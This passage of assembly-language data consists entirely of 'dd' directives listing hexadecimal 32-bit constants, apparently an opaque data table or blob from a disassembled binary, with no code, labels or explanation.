		dd 981918A0h, 0BB812258h, 1D02A947h, 3302D4D6h,	2B6A08C0h
		dd 9FA44388h, 0F16C2810h, 3D98EC26h, 4A4C412Fh,	0CBC4CC14h
		dd 1FB1BA0Fh, 5C0342A6h, 0EDCC40DFh, 6A930707h,	11E9C74Bh
		dd 2C3FD41Dh, 0BC1F24F8h, 7ECC6E01h, 146B2F8Fh,	0DE22A408h
		dd 2EA01702h, 0D43C6809h, 400644F0h, 0F3DE24BEh, 976902D8h
		dd 0C0D06329h, 194080FCh, 928E655Ah, 0D0D74EF4h, 55D0ED74h
		dd 0D98C1001h, 54B214DDh, 5ED00271h, 0F96E0115h, 0ECA347Eh
		dd 81E87DD2h, 1A37851Fh, 4976D8h, 2398C068h, 1C7E8A70h
		dd 91FA6B0Eh, 3787E216h, 19F040AFh, 1140B659h, 0E42C0024h
		dd 84F3E397h, 69060060h, 0A7D6778Eh, 0DE18DCF5h, 0AA80B751h
		dd 20EF410Eh, 1A0CF01Ch, 0D87FAE33h, 2535207Ah,	0AB74311h
		dd 0D8C4B027h, 527D000h, 1A4659EBh, 87B60198h, 25D5A6DFh
		dd 435050AFh, 42FBF7A3h, 3204420h, 24F21BEBh, 259FBDh
		dd 0C8994BC2h, 0A499CBD0h, 3EC4E425h, 0BA80FE89h, 0B46ABCACh
		dd 0F8C08090h, 2EAA331Bh, 5EC9C0CBh, 87DAAEFFh,	0AED7772Fh
		dd 4682A0C4h, 1F4349B8h, 405BECC6h, 148FFBF3h, 0AE70F5F4h
		dd 0A2EB916h, 109408E0h, 5EF8ED42h, 0A700C8h, 0BAA3EA32h
		dd 0A2C2A6DBh, 63AEC30Bh, 0F0149B3Dh, 71A77BD2h, 0EE34004Ah
		dd 219CB878h, 0D37E8E0Dh, 81D48B3Fh, 6A6D6E0Ah,	88F45E25h
		dd 663703F4h, 995226AEh, 1DC6E01Eh, 0D084E14h, 2987F55Eh
		dd 3C80D03Ch, 1AC29CC6h, 0ABA02D00h, 4C498596h,	692C1E13h
		dd 18BA9767h, 4F9BD0AAh, 49D9090h, 0D0407858h, 0A8497F2Bh
		dd 17EA6E13h, 122A6007h, 6AA22CC0h, 84863C55h, 189A532Eh
		dd 49981808h, 0C20D6C2Ch, 78AF4B06h, 80E7FC60h,	9C00A2C1h
		dd 583D6428h, 0F217C45h, 6F03B45Fh, 3C65ED60h, 1972740h
		dd 6C9AA690h, 373A4084h, 0B2AA02E0h, 5293012Bh,	4F199E81h
		dd 29069641h, 0A89FBD60h, 8B010FDh, 3A715892h, 22E9F200h
		dd 5064609Ah, 1E280601h, 0B0EE3011h, 316DEBE0h,	0E24021EAh
		dd 10744407h, 0BD3E74C5h, 1D888843h, 3AE8516Bh,	86620EAh
		dd 0E64A8DABh, 0B4780AF9h, 0F79624C2h, 0E2220FAh, 83E7003Fh
		dd 0A06C82E9h, 240047C5h, 7E7AA197h, 0D0CF7Bh, 0B5AFAEACh
		dd 7C6D3C3Bh, 68E5662Eh, 61F0B02Dh, 16C100B1h, 42966772h
		dd 0B8C32E6Dh, 0B806EA36h, 900D7AF1h, 0AC2F0E78h, 8D0086F6h
		dd 0DC3EDE1Fh, 5A17F09Ah, 0AC0064BAh, 0BC7AD153h, 0D42C2EB5h
		dd 0A07F12B2h, 0E0803A7Ch, 0C047149Ah, 5DF120BCh, 5C281976h
		dd 0A5099081h, 109AF853h, 2B5A0300h, 0F1306C72h, 23D10029h
		dd 0BF71ADBDh, 9B00625Eh, 960CA4C5h, 87EAB8h, 90C13108h
		dd 67218F4Fh, 0CCDFD900h
		dd 0F545AE8Ch, 0BEB0F807h, 0BA830058h, 0C8585D93h, 184EB605h
		dd 70CC2106h, 0CE371694h, 1340043Bh, 0AAAF0130h, 3030F75Eh
		dd 0A0014895h, 5CD5B11h, 139AA92Ah, 0A7FAA400h,	70E18E86h
		dd 8AD90989h, 3000C7F4h, 83A3B75Ah, 601121Dh, 8C022ABCh
		dd 0AF26550Fh, 0BA4362D9h, 8288A9DEh, 40ECEA68h, 0A7F3366h
		dd 3B05428Eh, 7CB504E0h, 60CB85Dh, 47E55A8Dh, 6CAB1618h
		dd 1D0CB458h, 6AB8CA05h, 0C0413E4Eh, 0B401FBA9h, 0D9543F00h
		dd 0A0F05230h, 0C8DF19B0h, 8CBEF580h, 5822496Ah, 2C57007Ah
		dd 18D48441h, 8249F95Ah, 0B7BA0080h, 193D6070h,	28AD782Fh
		dd 0B94BFA2h, 95B60F8Dh, 29A9B482h, 90106C4Bh, 7B825782h
		dd 0F110B2A2h, 0AEDC407Eh, 456B5018h, 62EB6DC8h, 8EB1E837h
		dd 57822136h, 80E87EC2h, 1F2E99C0h, 0A9671312h,	0D718E05Eh
		dd 2600BCB9h, 0BD9EF24Ah, 60DB00D0h, 0D7EE5EB7h, 43053C04h
		dd 0A3B655AEh, 42456CC0h, 0E10D0058h, 4FBD70B5h, 0AF25CF1Ah
		dd 81A059BCh, 29C07EBEh, 7C2D28h, 8A4BD1CAh, 2AAFAE0h
		dd 0BF3AB03Bh, 9D8F1758h, 0A45809F7h, 1B4070F9h, 7810122h
		dd 7FEA2895h, 8EF550F9h, 0C81249F0h, 6CAC91CFh,	0EA31097Fh
		dd 7C00BA38h, 0AF136929h, 0B182000h, 0FC5ECE39h, 5F820059h
		dd 41B20C93h, 880CF7E3h, 540787EDh, 0D89E0B2Ah,	70920F5Eh
		dd 0AF767484h, 3DC18844h, 57B20143h, 0A9BA2188h, 0D642461Fh
		dd 0FD2E1C30h, 911D841h, 45630CA9h, 90CFD910h, 0FB2CF0h
		dd 0A6A3438h, 0B246BCFDh, 0A1A99B00h, 0DACF6DCEh, 29E46405h
		dd 8B49404Ch, 1AB7Ch, 9B4EBA77h, 2D46371Bh, 8672D600h
		dd 0A28F8304h, 5A9F4B1h, 350F2941h, 5FD30776h, 8E97C0A5h
		dd 3C009426h, 7915251Ch, 0ED16CAh, 7D6F877Ch, 3ECB6236h
		dd 0C7F13300h, 1952D6E7h, 0E6010011h, 43E48D67h, 0D400D726h
		dd 4354264h, 1EE7781Eh,	9DAA36Bh, 4380841Ah, 79B7BFF8h
		dd 8ADEA803h, 90BCB657h, 0F9B0176h, 0F0D25D1Dh,	0FCA93880h
		dd 0BF989304h, 3EE0A102h, 8F262286h, 3AEC079Bh,	7B93809Fh
		dd 1494A080h, 0A45969FBh, 50E4F900h, 77A82ACCh,	0E6A5D00h
		dd 1EE96E05h, 0DF910722h, 9B84FDEEh, 0C1994680h, 36000865h
		dd 565BC95Eh, 0EC8902h,	0B50BD812h, 9381154Eh, 63699600h
		dd 5A6A9006h, 11FB0019h, 0A321BD1Eh, 0FD010C87h, 0B8F1B2A1h
		dd 0F740E22Bh, 0B0B977h, 0AD6803A0h, 0E90C8FD6h, 71925200h
		dd 9C85F5A9h, 5800101h,	8B243742h, 5546DCB5h, 0EABD4F00h
		dd 0ED5CE72Eh, 8C2612D4h, 3A00BE6Ch, 46BEE2B6h,	0CDA63E88h
		dd 0FCBC3C03h, 13E94EE8h, 0F22DE466h, 0AB90B400h, 0D2FE4D9Bh
		dd 84F00063h, 0EB6E28CCh, 12E68F32h, 3B5CB509h,	1B03009Ch
		dd 0E56370h, 0D7D3EFECh, 477A72Ah, 0B9E26D28h, 8B7BFA00h
		dd 0A26B1BBh, 0CB82001Fh, 865DD63Ah, 0B3001683h, 60F2DE32h
		dd 0D1FA96h, 0C638BF59h, 0F580A60Fh, 0DD0347F8h, 2BEC4436h
		dd 0D288F974h, 33213021h, 0C0161DCh, 0D4A16A2Eh, 5800E0E4h
		dd 27B2109Ch, 26188517h, 750803Fh, 8BDC24h, 106AA030h
		dd 75EC5A01h, 6B79D0EDh, 2DE61080h, 0FF98D1C6h,	50608A05h
		dd 0E9063578h, 1D14662h, 8333F3D2h, 20739E29h, 0A00C8490h
		dd 0E1FEB5BEh, 0DD4502CAh, 0B961AE59h, 86EF9048h, 0DE173D18h
		dd 314C1E1h, 3E5DD5A5h,	0D008D130h, 584732E4h, 9A03D5A4h
		dd 0A7817078h, 80EDA829h, 0D0C65027h, 1DF4D7h, 0D4F2B2A9h
		dd 66C22219h, 2DF4C50Eh, 5A16E0A5h, 1595FFDh, 67F99F45h
		dd 0F47D4DA0h, 56F2B8DBh, 0ADD8BE00h, 830AA1F4h, 19B713Ch
		dd 0DE23ED19h, 0E52E0281h, 0CE34F809h, 0F945848h, 24C4E2A1h
		dd 2DC08AF3h, 902747A9h, 0C2E43Fh, 0D0232A9Fh, 6783D224h
		dd 5100ED75h, 5D35B2B0h, 0E43BBBh, 5AB8F83Eh, 14646654h
		dd 0DC3F6A1Dh, 24FDD79Fh, 0DD0367D4h, 0C8210749h, 38A90DDBh
		dd 6EBDA790h, 0E40B3F80h, 0F14AA635h, 8116A801h, 0F6E1FA14h
		dd 90896E4h, 42F4B599h,	5E0D9480h, 780CD1B8h, 50332E30h
		dd 0B0DE7D9Ch, 381B7833h, 7B0060F7h, 0D7848F88h, 0DB002180h
		dd 0C9E4259h, 4C3E9DA2h, 5C00BCD5h, 49D20844h, 8E005A0Eh
		dd 60C424F9h, 1DC0BF1Dh, 80655452h, 791A89F2h, 37039A87h
		dd 95B80CC6h, 0B329887Ah, 0C08A13FDh, 0F8880063h, 31D7E7CBh
		dd 5E8238h, 0B41219E8h,	0AF1D3Ch, 0BDE0AC1Eh, 740C8CFFh
		dd 0E0178B3Ah, 0AF113EC6h, 14250034h, 0BB8A285Ah, 170202BEh
		dd 991A485Ch, 818480C7h, 3F7A3CD5h, 0B700A809h,	0B458B8FBh
		dd 327BBCDEh, 0D7067C9Ah, 10268690h, 2EC900CAh,	9D9AAACBh
		dd 310082FEh, 52F23E3h,	50CF20h, 0ACCCA998h, 7A06F22Ah
		dd 241D047Ch, 0A19C917Ch, 6D358440h, 24F7234Ah,	9F5C61h
		dd 0BE78C0E6h, 78BD971Fh, 4C47AF8h, 33F8CC72h, 84E805Ch
		dd 5F003496h, 238F9218h, 0EDF5F6C2h, 437DD840h,	17483E20h
		dd 11C5147Fh, 0CF0FDCE8h, 0B0406A31h, 0B1703909h, 1D18E760h
		dd 2F165Ah, 965B82E9h, 19BDA648h, 6C973612h, 5F910C44h
		dd 0D7282A40h, 8A1CDD53h, 9BC22CC5h, 48F222FDh,	969780h
		dd 750D4872h, 7B5261DAh, 5CE60F00h, 0EED8C8D6h,	0C1431CCFh
		dd 0D08B554Dh, 416EB309h, 8A7AA400h, 0EF01AE9Fh, 8F2CD104h
		dd 17F449C9h, 0B161031Dh, 75ABACC6h, 8C28D0C7h,	0B800A32Bh
		dd 44692E25h, 0F39F67Fh, 27556DF9h, 7A855100h, 0EFB03888h
		dd 0CB98AC1Dh, 2A612FC0h, 2C347Ch, 0E39949C1h, 0CF22021Ch
		dd 62B1CD30h, 4C49B6Ah,	80365878h, 223890CBh, 4E00B311h
		dd 149554BDh, 444B51h, 5520A850h, 281C9AB7h, 79B8AF05h
		dd 40D55D82h, 1F1EB11Dh, 91E2F780h, 329C43h, 0C0A7C219h
		dd 2061EB41h, 675F200h,	3E93907Eh, 0BD1A00C7h, 0D1BA15DCh
		dd 0D0B571F0h, 28CD003Dh, 0A22CB59Fh, 0A538EE6Ch, 0CF81005Ah
		dd 616ED0FDh, 0C0DF496Dh, 0E476D900h, 3CB1E7ACh, 0B257C70Eh
		dd 1BE58126h, 90742EB6h, 5F3AD6C2h, 0EF40094h, 0DEC5CA8h
		dd 0FAB87C18h, 0F81C5D18h, 692C00A9h, 13F3EA4Ah, 0DF1887B5h
		dd 70681157h, 0E77B0039h, 1CFD5D61h, 18C00391h,	14C3059Bh
		dd 77F862h, 5B2FAB42h, 0F06F3B8Dh, 0AF09D100h, 81295598h
		dd 0A1E853h, 0B4F5FB45h, 15149CC7h, 0B114C575h,	186C6E61h
		dd 25A0566Fh, 0E8F51C0Ah, 0FBC840DAh, 1E2F284Dh, 47D68103h
		dd 0F72AC3Ah, 0A454ABD0h, 0B7B8F1B8h, 0C715B102h, 81A51BE4h
		dd 0D184C20Ch, 60808449h, 0E17B7CA8h, 0B2026A0Bh, 60BD32E6h
		dd 524B4063h, 3F4B00CEh, 0CF4531BFh, 0E30172A5h, 0B90F9A4Fh
		dd 0EAC80A57h, 37BF2E4Dh, 6E480001h, 0D39B62C6h, 0A9A100Fh
		dd 260720AAh, 45CF79h, 5F03F391h, 4B7388FAh, 0BB4E963Ah
		dd 0AA01125Dh, 899B8305h, 0DFD8A5C0h, 0B2AD0418h, 0C12BF712h
		dd 6014A46Fh, 90000AE6h, 18627F30h, 0B19E9Dh, 47B09BCh
		dd 7950FB0Bh, 0A0AE8B00h, 0B7DA222Fh, 65100062h, 0CAA02DEh
		dd 90003E8h, 86E0B18Dh,	0C8B3F9h, 6166845h, 0FBA45001h
		dd 57A8BF00h, 0E8D64D59h, 0E7F61CA5h, 20A91243h, 8EA12128h
		dd 6FC73A05h, 7283E4FBh, 4AA3B1h, 8EA9EF21h, 0F5ADF988h
		dd 64B0A700h, 0D1E8E328h, 0C3490E6Ch, 2BE09B54h, 407D20BBh
		dd 0B70CBA78h, 18FC4CABh, 0D4F150AEh, 27CF0970h, 0B421565Ah
		dd 0C8A412A2h, 407E9D1h, 511C32Eh, 1C97AE44h, 3AA40B60h
		dd 0C7580064h, 0D1A8C469h
		dd 41C04519h, 28757342h, 6CBD52DEh, 17303DF2h, 2E211D9Eh
		dd 0CFB90FABh, 6621384Ch, 391F601Fh, 4FC187BBh,	0B9E30B09h
		dd 2AE0033Eh, 0E37E1542h, 0D68838h, 4A0A9711h, 33D1BFF6h
		dd 0FC08EE61h, 0F9372100h, 8FAE0C96h, 73540655h, 48A22D64h
		dd 45380D0Ch, 0B4B582Eh, 2560EE82h, 0B63D6800h,	500435Ch
		dd 0CF17B95Eh, 55777Ah,	0E52D7CC1h, 4CBCE0DCh, 811CF100h
		dd 45B232AEh, 0B8F73B88h, 0E599007Fh, 0E49F85F4h, 2C0731B0h
		dd 0FBDA7BE0h, 2123D650h, 0CE7D91h, 0F2E2473h, 0D26B1058h
		dd 0B2C99E2Ch, 7C542600h, 7445F516h, 36DF03C2h,	8C032AAh
		dd 0B75ADAC8h, 8B807A00h, 110D663Ch, 9C44024Ch,	1CC78591h
		dd 2EF27840h, 89CD5D00h, 0A5AB22ADh, 0F91D008Bh, 0FB4BD397h
		dd 9D022BC7h, 6B939C4Dh, 6EC8E165h, 62AB1E0h, 0D2985A6Ah
		dd 4803147h, 8660A6DEh,	3F926110h, 30EF0037h, 0ED16ABCh
		dd 0DE1C7B0Ch, 6CC0D567h, 61F0DA99h, 29226425h,	0F1EE20E0h
		dd 8788158h, 443744BAh,	44126B44h, 228464F6h, 8223C6Ch
		dd 7922262h, 449608F7h,	22842C3Ah, 3C4218CCh, 21332211h
		dd 1B1F0890h, 7A0891h, 0E4D807AAh, 87AD3A6Ch, 9E623B00h
		dd 46528928h, 8E6003EFh, 3D1C94B1h, 78D02CE3h, 0FC1F024Eh
		dd 4F00FAEBh, 27496591h, 0B07A00ACh, 528CE895h,	0EB03F367h
		dd 0B919098Fh, 0CD5C901Ch, 1257AF0h, 3F3D6B29h,	312B448Ah
		dd 0FBBAC8B7h, 31004378h, 0C5CEE916h, 10223EBh,	7B638993h
		dd 6184293Dh, 0FA71F85Ch, 7EF40C77h, 0EA88E600h, 0DBCC44BBh
		dd 7B5502CFh, 70EB4894h, 222E56C0h, 58895900h, 33567726h
		dd 4CE41E98h, 0F4CE038Bh, 35E82ADBh, 0C300A1AEh, 79EEFBA2h
		dd 1ECF7DC4h, 0FA25F7h,	2ED67075h, 0CB002C86h, 362F4A1Ah
		dd 16B9052h, 0BB2050AFh, 0E894B982h, 0B200F76Eh, 0E17DD8DBh
		dd 1952FBCh, 0F072F875h, 2473910Dh, 5F02333Ch, 99EFFD28h
		dd 4405E0ACh, 3605060Bh, 586F21D8h, 22CCF07h, 0AD205B3Dh
		dd 0E939A8h, 88B342D4h,	0A17B8FBEh, 4963CD12h, 8080640Fh
		dd 0DE02E579h, 938700A3h, 0BCC53F77h, 6501EF17h, 0A8A1997h
		dd 0C2E4444Dh, 1DD700E1h, 9A3A4B0Eh, 0A0399809h, 8D5D8E97h
		dd 0EFC05F4Ch, 0D5A3AA21h, 0DE57003Eh, 5280996Eh, 0E501F0BBh
		dd 0CF2EBE7h, 8DED25A4h, 752E9C40h, 4EC2003Eh, 0E03BB6BCh
		dd 0B138BAECh, 0D19A1E3Dh, 0ED89E440h, 0EA307D6Fh, 1EE53A06h
		dd 59A10180h, 0D06C848Bh, 372B3Eh, 0A4DBE7CCh, 1DFA0B4Ah
		dd 4CE06FE3h, 45F06A70h, 6B382F04h, 80AA13FEh, 0BF7D4442h
		dd 25331900h, 0DB77DDB6h, 83AE0F5Ah, 504ECE0Eh,	4A838FAFh
		dd 88E0592Ch, 870316DCh, 0A2D977A5h, 8D3C88C8h,	974E0065h
		dd 11E795F7h, 71025707h, 5974A215h, 9EBB813Ch, 0BEF85E65h
		dd 52280745h, 305DBB56h, 4D67D571h, 9D1A4616h, 1DCBFC02h
		dd 1662D73Dh, 0EFE7F801h, 0E2402593h, 9664E360h, 480F4100h
		dd 0AA5920FEh, 0BA9A289Ch, 0A80B248Ch, 1DEA0E0Ch, 70085FCEh
		dd 0E765BE00h, 736DCD6h, 5295551Bh, 0C8471FDh, 3C37E409h
		dd 2A12958h, 0DF108E6h,	0A8A2C05Fh, 0D602097Bh,	80A0C955h
		dd 0BE53F640h, 21698D03h, 0B0847975h, 1F091B29h, 0C091CE25h
		dd 0C9E8230Eh, 101D47EFh, 0B2D54F45h, 0ED34008Ch, 0B45B20D4h
		dd 7F8C149Dh, 0F10084FFh, 6933351Ah, 31EA81E2h,	7CC3C612h
		dd 2EB4CC00h, 0C320CAECh, 0D850BBE6h, 9B85498h,	2EBBE00h
		dd 478BCE97h, 0A13400DAh, 0DD9B83B0h, 40ED152h,	20798CDBh
		dd 7F1BEBD9h, 7A9000DCh, 0D4D53D4Ch, 2EE84114h,	83A71A00h
		dd 9F43ADB4h, 1261710Ah, 2F6BF4h, 536DB5F4h, 411C8BABh
		dd 28C05C8Fh, 1EC3D3F2h, 0F9A90FA2h, 0B3098816h, 975ADD60h
		dd 380036F4h, 96FD53Ch,	244F0FF8h, 28A379h, 0A9FB672Bh
		dd 0D7034113h, 20E675DFh, 0F088E04Dh, 5DE8006Eh, 697FCD4Eh
		dd 76002716h, 0E6F6469Dh, 4BB84ECh, 0F003D395h,	50C85E3h
		dd 3FAEFD4h, 1A980BA4h,	17FC5BB0h, 93007490h, 24F24288h
		dd 0EA414F29h, 43DB01F9h, 0C35E5B34h, 7738808Ah, 0DA123BDCh
		dd 0FE250078h, 0FA599926h, 0B93D9F8Bh, 0AC13F07Ch, 0CC402B01h
		dd 68209847h, 43C01366h, 1181DDCh, 314C8EADh, 0C616D0A4h
		dd 0F7834900h, 19CBC9E0h, 0DCC40090h, 17E071Dh,	0FC169970h
		dd 0B04037B7h, 36CDB442h, 58F40078h, 4D717C3Ch,	68001D17h
		dd 0C341A46Ch, 13CD1034h, 0E91C9F6h, 0CCC0A13Ch, 93767D6Ah
		dd 88A77828h, 0ECAE0628h, 0CE460B00h, 9C9D9756h, 2B7205h
		dd 0DF15AAD7h, 3926282Fh, 4487E426h, 0B4509600h, 98B877BDh
		dd 577100E0h, 86143A2Eh, 9C00FF4Dh, 0E734481Ch,	0FCC773h
		dd 0FEE85012h, 908D5945h, 5DFDBA09h, 5AC8348h, 9A6024AAh
		dd 7583BCDCh, 0DE6738CFh, 0F9A01000h, 0E9CB5D6h, 192600EBh
		dd 0C3886D70h, 0EE0063D7h, 0BECB3FB7h, 1C3E5BF8h, 40778AE5h
		dd 0C771C6F5h, 0BB39817Fh, 7DC980F1h, 4F54D34Ch, 497200BEh
		dd 8C9E6D32h, 6103128Fh, 2FD55F01h, 2C89805Dh, 3C1A166Ah
		dd 0C77400A2h, 0CD90669Ah, 0F5509100h, 40073912h, 2E785CAAh
		dd 6A7250h, 0A309CE3Fh,	2D2FDB4Ch, 0E0E0466Fh, 370540ACh
		dd 5D760045h, 358F90F7h, 0CD0659E3h, 21E29168h,	163F0E58h
		dd 776A9AD5h, 0C05710D0h, 0EB47C13Bh, 90C70003h, 0DCD07E86h
		dd 0C8A0F1C9h, 2000859Bh, 7F621B80h, 4C6E94A2h,	0AA015C11h
		dd 62FAD67h, 0EA108012h, 7458D73h, 2D742C26h, 89C097Ch
		dd 0A447C800h, 0B9001112h, 0DC25F26Bh, 90B68D99h, 167C68h
		dd 2BDE5FB5h, 0DB0FB964h, 312EF000h, 0A76C8F5Ah, 57150F5Dh
		dd 3E20EA08h, 92137A7Bh, 0F80024F8h, 0A93AC1F7h, 180E779h
		dd 6D26F41Ch, 0C8F051A1h, 0B800951Ah, 7BDBB39Bh, 2D6F75h
		dd 7868E80Ah, 27846E1Fh, 79EF1200h, 0BB590631h,	0F1290E34h
		dd 0A6075C75h, 0D9192076h, 0AE71F50Ah, 0EDDA5900h, 3C6E5606h
		dd 7234F438h, 0DFA301EAh, 0EE6DA8C1h, 68F09394h, 90B7D003h
		dd 2E59E8FBh, 0CAFA0061h, 4A650F60h, 8231E902h,	0AADDE1EEh
		dd 0A1EC4CE9h, 0B8705E2Dh, 104C80h, 7ACB9F3Eh, 27D2F0h
		dd 0E8AB81AFh, 5C7869A0h, 6A82A600h, 0E67A6002h, 0BFA30071h
		dd 500E2C07h, 1F00863Dh, 15C7625Fh, 78CBDEh, 0F455B666h
		dd 0BA91C105h, 0A3ED2E01h, 0DAF1D3B3h, 441D30h,	85F01057h
		dd 189BA5B7h, 9E1E6F00h, 5DA8D9DCh, 0EF6E28FDh,	0E87F60BAh
		dd 0AC4B6DC8h, 712EA000h, 0E7FE335Bh, 4D040040h, 21BC0926h
		dd 500075C2h, 0E84C715Fh, 18B0EDF9h, 18EFD0AEh,	290AC522h
		dd 88E0DB25h, 8CAFD102h, 0A087C052h, 277807D9h,	0F736883Ah
		dd 8EA8E04Eh, 0F10AC19Ch, 0A0BAD69Ah, 9CB2D50Eh, 3757A6C7h
		dd 6C5579D0h, 0E06A0005h, 295E50C2h, 0D00EF3CCh, 20287C0Bh
		dd 0F6D6CEBBh, 0D24000C5h, 518D34E8h, 30C0D0AAh, 3B8F9A84h
		dd 0AFF13007h, 600B8B10h, 0C3978E00h, 904E15B9h, 49C000C9h
		dd 8F759A7h, 0D382592h,	3C569D6Ah, 5A155C82h, 592E0069h
		dd 7AC16422h, 0E5971FADh, 74050F8h, 0EAE77DBBh,	0FF13110Ah
		dd 0BF982406h, 2F482300h, 0D021984Fh, 0C03B00AEh, 0E126360Dh
		dd 0CF486633h, 640C7DD0h, 39179623h, 48241459h,	7616C653h
		dd 0FFC400AAh, 73E1D7FCh, 0F173E9FEh, 0DD4Ch, 0D6EB93D5h
		dd 4B0894h, 919DD32Dh, 2A56ABE8h, 0F8509260h, 9FC9B5Dh
		dd 6B7E1E90h, 0F4508CA0h
		dd 1801F6BDh, 0C5D292ABh, 0C0214080h, 80F7EAE5h, 0C0FFC19Fh
		dd 39D59318h, 0B005CB15h, 0E1A29C3Eh, 480BF007h, 73D78F90h
		dd 2849231h, 8E36537Ch,	0D42379Eh, 6D8FDC48h, 8407D502h
		dd 68DA6317h, 2EDC561Ch, 806839CFh, 2FA759CDh, 0BBB0CB1Bh
		dd 0DD553E00h, 35FBE615h, 0C0A000F9h, 70CDCE50h, 0F3004D32h
		dd 538533E4h, 0B26708h,	0DD249A75h, 1D9DB711h, 0CB002CE6h
		dd 0C4034D41h, 318CCB1h, 5B29F3A7h, 39D80AD8h, 0C800613Dh
		dd 0F7F4051Fh, 8C7350h,	5978E184h, 0EACB68DBh, 0AD639900h
		dd 4B6B825Fh, 70E4008Fh, 147B972Fh, 8D07033Ch, 7781A704h
		dd 2DB5A080h, 8EF9006Ah, 0DA02BF0Ch, 1800388Fh,	0C639D98Ah
		dd 0FC5B3007h, 82D007Fh, 0F2FB7C8h, 78383C05h, 0CE030E22h
		dd 634EA9CBh, 941BE82Ch, 883D12BBh, 0AA1800ACh,	4F43817Ch
		dd 0C64E800h, 94B2E561h, 0D3570052h, 9FE0FED4h,	5402E3F3h
		dd 8676CB63h, 2CB180B9h, 968C5FBh, 277B6D7Ah, 0F93A9C03h
		dd 57D1FF8h, 0A7D6330Fh, 90801C10h, 0AFFEF86Fh,	143139E5h
		dd 0E24C93h, 5884F47h, 0DD02622Eh, 67FAFE6h, 34070C1h
		dd 6725028Eh, 6380DB58h, 9600079Ch, 5BC9D91Dh, 3ACBE8A6h
		dd 0E1033887h, 6CE110Eh, 0E0782590h, 2837C00h, 0AC958497h
		dd 8FB60024h, 9FDB3271h, 8100B0A5h, 0BEA165D9h,	3EF006E2h
		dd 8880BD84h, 6F87BF9Bh, 2F0033FFh, 1DD14748h, 0B745F8Bh
		dd 70B669F0h, 67119E80h, 2C07EC18h, 0B3CF3343h,	2F499BA3h
		dd 27005330h, 0E5C4F87Eh, 0C900A075h, 6926A74Ch, 71CEFBFDh
		dd 98A30065h, 2EDF5797h, 6E009080h, 0DA45DB8Fh,	9881D0B1h
		dd 4B0D00D5h, 135B7CD3h, 0B7005706h, 427FE2F2h,	1411B55h
		dd 0C4C6F8FAh, 0CCFE707Bh, 51003F94h, 99AFBF89h, 4CB4ACD8h
		dd 9D00876Bh, 875D4CA1h, 0D0006A3Bh, 0F31EC265h, 137A0ED4h
		dd 0EB3C6E2h, 6A00F813h, 679F83C7h, 8705343Eh, 5553C188h
		dd 89FD6460h, 9E6A0024h, 5A93123Bh, 251D3865h, 1B403FD4h
		dd 0B9138720h, 53EDEBA4h, 99E42BE5h, 3CCD006Bh,	18FC9EB7h
		dd 0C8EE4239h, 0C29FF31Fh, 0C75C1903h, 97410086h, 90110A09h
		dd 0B200CAB4h, 6F939DBDh, 1B38E9h, 22F32991h, 6845534Bh
		dd 9A698D3Dh, 0F5703508h, 98950881h, 0B02ECB1h,	833D2E38h
		dd 5BA164F6h, 71E1B8D7h, 688F2EC5h, 0D48E005Eh,	0B08A0780h
		dd 5300A070h, 1026FA8Dh, 722B62Bh, 1DBCD93h, 3A0F00BAh
		dd 7D02358Bh, 0C8432977h, 0AA9F8317h, 2F12A05Eh, 3B65EC60h
		dd 5280778Dh, 0E9FEE1Eh, 0C10097B7h, 4E4C5010h,	42DC2Eh
		dd 2F7190DBh, 0ABF6BE3h, 2A368E00h, 0CE29276Ah,	9D8D1CDAh
		dd 4380BAFCh, 86A108BBh, 91F1B4Fh, 0B29F694Dh, 889B61C0h
		dd 79EFE0D8h, 39927F87h, 3600E924h, 0E34F32ABh,	6A01400Eh
		dd 0CF06B608h, 72C08E66h, 0F57D49h, 38256158h, 5C1181FAh
		dd 4177D400h, 2B27306Fh, 973004Ah, 9D93AF18h, 0F300C78Eh
		dd 9FBA5BEFh, 387C7BFDh, 0C400F7BCh, 0E3A4D8E8h, 12009568h
		dd 727FF097h, 2D2AADh, 1717C03h, 48662856h, 0FD85DE00h
		dd 3B9F90A3h, 9BE681h, 17644A75h, 37256DFEh, 0B2530404h
		dd 4891B040h, 0CB108478h, 50C0C8EDh, 1825BD54h,	8611051Ch
		dd 108756Dh, 7E7052AEh,	164C7062h, 0FC347903h, 0A08830AEh
		dd 3D90DAh, 23F367A5h, 99408A6Bh, 8B2FD739h, 80BC6A03h
		dd 3662A960h, 0CF040088h, 0FE4E9B80h, 8B00E852h, 98141557h
		dd 70B8E6B3h, 0CF4F0F04h, 0E2636E50h, 27E0B48Ch, 0AF18F797h
		dd 0D6B053BBh, 0FD7900F0h, 9176C57Ah, 0E2E67082h, 6B321A1Eh
		dd 3900A064h, 0A37AB4B5h, 4AAE0084h, 6EF8AF7h, 0BB008FBDh
		dd 51A70F78h, 325D78Dh,	0E9E7D13h, 4EA00426h, 4600BF76h
		dd 234998A1h, 3D07E982h, 0E60EABBAh, 10403ED4h,	0A8952CE1h
		dd 5DC77312h, 7C9E0400h, 11E01AEh, 49287B31h, 0F05487E0h
		dd 401C90ABh, 0A8BC4566h, 0B905C0F6h, 11CACCC9h, 3E3B3E80h
		dd 4D20005Ah, 0A571299Dh, 0F500EE06h, 0DB9C21EFh, 356994Ah
		dd 1CF35D1Eh, 0E1E7F068h, 607C43F6h, 5006FA5h, 532D7A06h
		dd 0BED0F7h, 0D3B2E8DCh, 0C36EF5ACh, 97961004h,	3080B619h
		dd 387CE9A6h, 4880FE80h, 15595ACDh, 9E008A04h, 0E29925E0h
		dd 202FBAACh, 45034BAEh, 0AFE41417h, 0D1800DDh,	386B06B0h
		dd 12603A1Eh, 0F804BD84h, 8A8C0185h, 0E816E5CCh, 1FF06B61h
		dd 767591h, 0C34F49C2h,	932FC4FCh, 74D8DA03h, 880881AAh
		dd 114048Ah, 8732B771h,	0E63DFEB6h, 0BA1702E0h,	35344400h
		dd 52FD15Bh, 9D49042Bh,	0C35EBD38h, 40B40C74h, 184ADDBCh
		dd 2CBE0017h, 1C4DA5DEh, 0D800528Eh, 0AA73EC16h, 0F4100D7Ah
		dd 0C0050013h, 446435B3h, 9700B8D5h, 2E3695E3h,	749CC431h
		dd 0E2E90085h, 3999CBF9h, 810E6B26h, 4037B17Ah,	2AA3053Eh
		dd 0B42300F2h, 0FACFAF0Eh, 5A12B7EAh, 80004106h, 39871DF7h
		dd 0A927003Bh, 79E44D0Bh, 86585F3Eh, 0D82E1E32h, 98004913h
		dd 50E63A26h, 6E11C012h, 0E3204662h, 97F8365Ah,	7783B33Eh
		dd 0D1903DC2h, 0DBDA2BE0h, 0AEDA800h, 0A505356Fh, 0AF2D3E1Ah
		dd 784F02F8h, 0C1442048h, 1FCB71C0h, 0C223B002h, 0E0E4B34Ah
